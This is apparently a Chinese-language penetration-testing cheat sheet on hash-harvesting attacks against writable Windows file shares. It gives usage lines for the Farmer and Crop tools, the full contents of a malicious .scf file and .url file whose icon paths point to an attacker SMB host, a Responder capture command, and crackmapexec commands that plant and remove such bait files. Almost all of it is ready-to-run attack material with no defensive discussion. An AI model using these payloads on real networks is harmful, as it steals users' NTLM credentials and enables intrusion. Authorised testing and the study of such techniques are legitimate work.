针对可写共享的 SCF 和 URL 文件攻击

https://github.com/mdsecactivebreach/Farmer
https://github.com/mdsecactivebreach/Farmer/tree/main/crop
>farmer.exe <port> [seconds] [output]
>farmer.exe 8888 0 c:\windows\temp\test.tmp # undefinitely
>farmer.exe 8888 60 # one minute
Crop 可用于创建各种文件，这些文件将触发 SMB/WebDAV 连接，以便在哈希收集攻击期间中毒文件共享
>crop.exe <output folder> <output filename> <WebDAV server> <LNK value> [options]
>Crop.exe \\\\fileserver\\common mdsec.url \\\\workstation@8888\\mdsec.ico
>Crop.exe \\\\fileserver\\common mdsec.library-ms \\\\workstation@8888\\mdsec

@something.scf文件写入以下内容
[Shell]
Command=2
IconFile=\\10.10.10.10\Share\test.ico
[Taskbar]
Command=ToggleDesktop
然后监听
>responder -wrf --lm -v -I eth0
使用crackmapexec:
>crackmapexec smb 10.10.10.10 -u username -p password -M scuffy -o NAME=WORK SERVER=IP_RESPONDER #scf
>crackmapexec smb 10.10.10.10 -u username -p password -M slinky -o NAME=WORK SERVER=IP_RESPONDER #lnk
>crackmapexec smb 10.10.10.10 -u username -p password -M slinky -o NAME=WORK SERVER=IP_RESPONDER CLEANUP

URL文件

.url文件写入以下内容
[InternetShortcut]
URL=whatever
WorkingDirectory=whatever
IconFile=\\10.10.10.10\%USERNAME%.icon
IconIndex=1
